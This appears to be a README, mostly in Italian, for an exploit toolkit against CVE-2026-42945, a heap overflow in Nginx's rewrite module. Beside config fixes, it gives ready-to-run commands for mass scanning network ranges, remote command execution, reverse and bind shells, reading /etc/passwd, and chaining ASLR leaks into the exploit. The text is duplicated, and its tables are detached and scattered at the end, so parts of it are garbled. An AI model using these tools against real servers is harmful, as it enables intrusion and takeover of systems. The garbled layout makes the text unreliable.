
CVE-2026-42945 Nginx Rift
Un toolkit proof-of-concept completo per CVE-2026-42945 (Nginx Rift), una vulnerabilità critica di heap buffer overflow nel modulo ngx_http_rewrite_module di Nginx.
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2026-42945 |
| Nome | Nginx Rift |
| Tipo | Heap Buffer Overflow |
| Componente | ngx_http_rewrite_module |
| Gravità | Critica (CVSS 9.2) |
| Versioni interessate | Nginx 0.6.27 - 1.30.0 |
| Versioni corrette | Nginx 1.30.1 / 1.31.0 |
La vulnerabilità è dovuta a un errore di calcolo delle dimensioni tra due passaggi interni durante l'elaborazione delle regole di rewrite. Se una configurazione utilizza:
$1, $2, ecc.)?Nel primo passaggio Nginx calcola erroneamente la dimensione del buffer necessaria e, durante il secondo passaggio, scrive oltre il buffer heap allocato.
server {
# VULNERABLE: Unnamed capture ($1) + '?' in replacement
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# SAFE: Named capture (?P<path>) replaces $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py - Strumento PoC PrincipaleScanner di vulnerabilità e strumento di sfruttamento per singolo target.
Caratteristiche:
ServerUtilizzo:
# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com
# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py - Scanner di MassaScanner batch per testare più target contemporaneamente.
Caratteristiche:
Utilizzo:
# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json
# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
Formato del file target:
# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py - Analizzatore di ConfigurazioneAnalizza i file di configurazione Nginx locali per individuare pattern di rewrite vulnerabili.
Caratteristiche:
nginx.conf e segue le direttive include? nelle stringhe di sostituzioneUtilizzo:
# Scan single file
python config_checker.py /etc/nginx/nginx.conf
# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/
# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf
# Auto-detect common Nginx paths
python config_checker.py
enhanced_poc.py - PoC RCE AvanzatoStrumento di exploit avanzato basato sulla ricerca ufficiale di depthfirst, con supporto di più pattern di rewrite e modalità di exploit.
Caratteristiche:
/api/, /redirect/, /user/, ecc.)+, &, =, %)cmd / shell / bind / readngx_pool_cleanup_sUtilizzo:
# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect
# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd
# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
Dettagli delle Modalità di Exploit:
Configurazione degli Indirizzi (solo ASLR disattivo):
--heap-base: Base heap del target (es. 0x555555559000)--libc-base: Indirizzo di base di libc (es. 0x7ffff77ba000)--system-addr: Indirizzo diretto di system() (sostituisce libc-base)aslr_leak_detector.py - Rilevatore di Perdite ASLRScanner completo per rilevare perdite di informazioni in grado di aggirare la protezione ASLR.
Caratteristiche:
/nginx_status, /actuator/*, ecc.)enhanced_poc.py tramite report JSONUtilizzo:
# Scan single target
python aslr_leak_detector.py -t target.example.com
# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick
Integrazione con il PoC Avanzato:
# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json
# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
Lo strumento PoC identifica la vulnerabilità tramite questi indicatori:
| Indicatore | Descrizione |
|---|
Nessuna dipendenza esterna richiesta. Utilizza solo la libreria standard di Python.
# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945
# Verify Python version (3.7+ recommended)
python3 --version
# Run any tool
python3 nginx_rift_poc.py --help
Se l'aggiornamento non è immediatamente possibile, sostituire le catture senza nome con catture con nome:
# BEFORE (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# AFTER (SAFE)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
Distribuire regole WAF per bloccare le richieste malformate che mirano a pattern di rewrite vulnerabili.
Questo toolkit è destinato esclusivamente a test di sicurezza autorizzati e a scopo di ricerca.
Questo difetto è stato scoperto insieme ad altri tre problemi di corruzione della memoria:
| CVE | Descrizione | Gravità |
|---|---|---|
| CVE-2026-42946 | Difetto di allocazione della memoria in SCGI/UWSGI | Alta |
| CVE-2026-40701 | Use-after-free nella risoluzione DNS per OCSP | Media |
| CVE-2026-42934 | Lettura fuori dai limiti nel parsing UTF-8 |
Questo progetto è fornito a scopo educativo e per test di sicurezza autorizzati.
Autore: Security Research Team Data: 2026-06-11
CVE-2026-42945 (Nginx Rift) è una vulnerabilità di heap buffer overflow nel modulo ngx_http_rewrite_module di Nginx, presente fin dal 2008 (Nginx 0.6.27) e rimasta latente per circa 18 anni.
Durante l'elaborazione delle regole di rewrite, Nginx esegue internamente due passaggi di parsing. Se nella configurazione sono soddisfatte contemporaneamente le due condizioni seguenti:
$1, $2)?Nel primo passaggio Nginx calcola erroneamente la dimensione del buffer; nel secondo passaggio scrive dati oltre i limiti del buffer heap, causando un heap overflow.
server {
# 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# 安全:使用命名捕获 (?P<name>) 替代 $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py — Strumento PoC PrincipaleScanner di vulnerabilità e strumento di sfruttamento per singolo target.
Caratteristiche:
ServerEsempi di utilizzo:
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com
# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py — Scanner BatchScansione multi-thread di più target contemporaneamente.
Caratteristiche:
Esempi di utilizzo:
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json
# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# 高速扫描(100线程)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
Formato del file dei target:
# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py — Controllore dei File di ConfigurazioneAnalizza i file di configurazione Nginx locali per individuare pattern di rewrite vulnerabili.
Caratteristiche:
nginx.conf e risolve ricorsivamente i file referenziati da include?.bak)Esempi di utilizzo:
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf
# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/
# 自动修复脆弱配置(自动备份原文件)
python config_checker.py --fix /etc/nginx/nginx.conf
# 自动探测常见 Nginx 配置路径
python config_checker.py
enhanced_poc.py — PoC RCE AvanzatoStrumento di exploit avanzato basato sulla ricerca ufficiale di depthfirst, con supporto di più pattern di rewrite e modalità di sfruttamento.
Caratteristiche:
/api/, /redirect/, /user/, ecc.)+, &, =, %)cmd / shell / bind / readngx_pool_cleanup_sTabella di espansione dei caratteri trigger di overflow:
Esempi di utilizzo:
# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect
# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# 绑定 Shell(在目标上监听)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd
# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
Descrizione delle modalità di sfruttamento:
Configurazione degli indirizzi (solo ambienti con ASLR disattivo):
--heap-base: Base heap del target (es. 0x555555559000)--libc-base: Indirizzo di base di libc (es. 0x7ffff77ba000)--system-addr: Specifica direttamente l'indirizzo di system()aslr_leak_detector.py — Rilevatore di Perdite di Informazioni ASLRScanner completo per rilevare perdite di informazioni utilizzabili per aggirare la protezione ASLR.
Caratteristiche:
/nginx_status, /actuator/*, ecc.)enhanced_poc.py tramite report JSONEsempi di utilizzo:
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com
# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick
Utilizzo integrato con il PoC Avanzato:
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json
# 步骤 2:使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
Lo strumento PoC determina se il target è vulnerabile in base ai seguenti fenomeni:
| Indicatore |
|---|
Nessuna dipendenza di terze parti da installare; è sufficiente la libreria standard di Python.
# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945
# 验证 Python 版本(推荐 3.7+)
python3 --version
# 查看工具帮助
python3 nginx_rift_poc.py --help
Sostituire le catture senza nome con catture con nome:
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# 修改后(安全)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
Distribuire regole per il web application firewall al fine di bloccare le richieste maligne dirette a pattern di rewrite vulnerabili.
Questo toolkit è destinato esclusivamente a test di sicurezza autorizzati e a scopo di ricerca.
Questa vulnerabilità fa parte di una serie di problemi di corruzione della memoria scoperti dal sistema di analisi statica basato su intelligenza artificiale di depthfirst:
| ID CVE | Descrizione | Livello |
|---|---|---|
| CVE-2026-42946 | Difetto di allocazione della memoria SCGI/UWSGI | Alto |
| CVE-2026-40701 | UAF nella risoluzione DNS OCSP | Medio |
| CVE-2026-42934 | Lettura fuori dai limiti nel parsing UTF-8 |
Questo progetto è destinato esclusivamente a scopi educativi e a test di sicurezza autorizzati.
Autore: Security Research Team Data: 2026-06-11
| Modalità | Descrizione | Output |
|---|
cmd | Esegue un singolo comando shell | Output del comando sul target |
shell | Avvia una reverse shell | Si riconnette a --listen-ip:listen-port |
bind | Avvia una bind shell sul target | In ascolto su --listen-port sul target |
read | Legge un file dal target | Contenuto scritto in /tmp/nginx_rift_read |
| Connessione interrotta | Il target chiude la connessione inaspettatamente (crash del worker) |
| Errori gateway | Risposte HTTP 502/503/504 (processo worker terminato) |
| Risposte lente | Il tempo di risposta aumenta notevolmente (recupero dal crash) |
| Risposte vuote | Il corpo della risposta scompare rispetto alla baseline |
| Versione corrispondente | La versione di Nginx rilevata rientra nell'intervallo vulnerabile |
| Prodotto | Versioni interessate | Versioni corrette |
|---|
| Nginx Open Source | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | Tutte le versioni precedenti alle patch | Aggiornare alla release corretta |
| Nginx Gateway Fabric | Tutte le versioni precedenti alle patch | Aggiornare alla release corretta |
| Media |
| Campo | Dettagli |
|---|
| ID CVE | CVE-2026-42945 |
| Nome della vulnerabilità | Nginx Rift |
| Tipo di vulnerabilità | Heap Buffer Overflow |
| Componente interessato | ngx_http_rewrite_module |
| Livello di gravità | Critico (CVSS 9.2) |
| Versioni interessate | Nginx 0.6.27 - 1.30.0 |
| Versioni corrette | Nginx 1.30.1 / 1.31.0 |
| Carattere | Espansione | Overflow per carattere |
|---|
+ | %2B | +2 byte |
& | %26 | +2 byte |
= | %3D | +2 byte |
% | %25 | +2 byte |
| spazio | %20 | +2 byte |
| Modalità | Descrizione | Output |
|---|
cmd | Esegue un singolo comando shell | Output del comando salvato sul target |
shell | Genera una reverse shell | Si riconnette a --listen-ip:listen-port |
bind | Genera una bind shell | In ascolto su --listen-port del target |
read | Legge un file dal target | Contenuto scritto in /tmp/nginx_rift_read |
| Descrizione |
|---|
| Connessione interrotta | Il target chiude la connessione in modo anomalo (crash del processo Worker) |
| Errore gateway | Restituisce HTTP 502/503/504 (processo Worker terminato) |
| Risposta più lenta | Tempo di risposta notevolmente aumentato (riavvio automatico dopo il crash) |
| Corpo della risposta vuoto | Rispetto alla baseline, il corpo della risposta è vuoto (Worker bloccato) |
| Versione corrispondente | La versione di Nginx rilevata rientra nell'intervallo vulnerabile |
| Prodotto | Versioni vulnerabili | Versioni corrette |
|---|
| Nginx Open Source | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | Tutte le versioni non patchate | Aggiornare alla versione corretta |
| Nginx Gateway Fabric | Tutte le versioni non patchate | Aggiornare alla versione corretta |
| Medio |